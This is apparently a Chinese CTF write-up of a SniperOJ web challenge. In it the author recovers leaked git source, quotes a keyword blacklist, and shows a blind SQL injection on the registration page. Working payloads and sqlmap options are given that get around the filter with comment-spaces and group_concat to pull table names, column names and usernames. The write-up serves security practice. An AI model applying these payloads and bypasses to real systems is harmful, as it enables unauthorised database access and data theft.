美文网首页CTF
[SniperOJ](web)图书管理系统 注入 源码泄露

[SniperOJ](web)图书管理系统 注入 源码泄露

作者: _Deen | 来源:发表于2017-06-12 12:12 被阅读137次

    0x00 题目概况


    题目地址:http://www.sniperoj.cn:10000/

    这是一道注入题,存在git源码泄露,使用githack(freebuf有工具介绍)把源码脱下来,进行审计,然后注入。

    挺简单的一道题,我自己卡一个地方卡了好久就是。

    拖下来源码放在我服务器上,懒得拖想看看可以下载:

    120.27.32.227/sniper.rar

    大概分析如下:

    敏感词过滤

    $blacklist = array(" select "," union ","limit", " from ", "and","sleep");

    foreach ($_POST as $key => $value) {

    for ($i= 0;$i< count($blacklist); $i++){

    if(strpos(strtolower($value), $blacklist[$i]) != false){

    die("Come on inject me, you stupid srcipt kid!");

    }

    在注册页面:

    // 判断用户是否存在

    $sql_check = "SELECT userID from users where username = '$username'";

    $result = $conn->query($sql_check);

    if ($result->num_rows > 0) {

    die("{\"status\":\"0\",\"msg\":\"用户名已存在\"}");

    }

    很明显的盲注点,在登录界面也有一个盲注点。(没发现哪里可以明注,本人新手还望赐教)

    0x01 自己解题历程


    1. 那个黑名单,“select”"union“” 可以使用内联注释绕过,或者使用其他如 /**/ 代替空格即可,and 可以用 && 代替,limit 没有找到方法绕过

    2. 注入点  ,username 可以为:

    ' or 1 #

    在 1 处进行盲注。

    为真的关键词是 “用户名已存在”。

    一看这么简单,加上最近深入了解了一下slqmap,所以想下直接用sqlmap跑就行。

    sqlmap参数:  --string "用户名已存在" --suffix "#" --prefix " 'or " -v 3 --risk 3 --tamper space2comment.py 

    确实可以跑出来,但是,只能跑出数据库名,表名要靠碰撞,其他获取不到,很是困惑。

    纠结了好一会,查看slqmap的payload才想起是 "limit" 在黑名单里面。

    接下来就是怎么绕过limit限制的问题了。大体上思路有两种。

    1. 不用limit ,寻找可以代替limit的关键字

    2. 绕过限制,如编码绕过,内联注释绕过

    找了挺久的资料,一无所获。没有找到mysql没有能代替limit的关键字,这里也绕过不了。

    在网上看到一种这种绕过,在关键字中添加 注释   “/**/” ,如:sele/***/ct  。这是一种错误的方式,除非php会对  “/**/”进行过滤,否则,这种语句带入到数据库进行查询会报错的。


    0x02 正确的思路:group_concat


    大概自己思维还是太狭隘,一直在纠结怎么绕过limit ,想着盲注一定要有limit。

    把源码挂在屏幕半天,偶然看自己的一下笔记才想起来使用 “group_concat”

    个人对group_concat通俗理解:

    进行查询,将多条查询结果以一行显示出来,即一条

    如:select group_concat(username) from users

    会将所有的username显示在一行

    想到这,就没必要用limit 了。接下来就是写脚本的问题。

    payload 如下:

    获取表名:

    ' or ascii(substr(((select/**/group_concat(table_name)/**/from/**/information_schema.tables where table_schema=database()))from/**/1 for 1))=93 #

    获取列名:

    ' or ascii(substr(((select/**/group_concat(column_name)/**/from/**/information_schema.columns where table_name=0x7573657273))from/**/2 for 1))=71 #

    获取具体数据:

    ' or ascii(substr(((select/**/group_concat(username)/**/from/**/users))/**/from 2 for 1))=21 #


    0x03 总结


    git泄露

    盲注不一定要使用 limit 

    记住 group_concat

    使用sqlmap行不通时查看payload,别太依赖工具

    题目挺简单的,自己太菜了,还要多学多看,这些远远不够


    2017 6 13 早上

    昨天服务器有些问题,是本地搭建环境测试的,现在好了,实测有些问题。

    在判断 布尔真值为1的语句中:

    if "用户名已存在" in response.text:

    这个句子 的中文是gb2312编码,处理会有问题。

    懒得查找如何解决编码问题,那最最简单的判断就是使用len根据 response.text 的长度进行判断。

    为真长度为29

    为假长度为31


    相关文章

      网友评论

        本文标题:[SniperOJ](web)图书管理系统 注入 源码泄露

        本文链接:https://www.haomeiwen.com/subject/odhlqxtx.html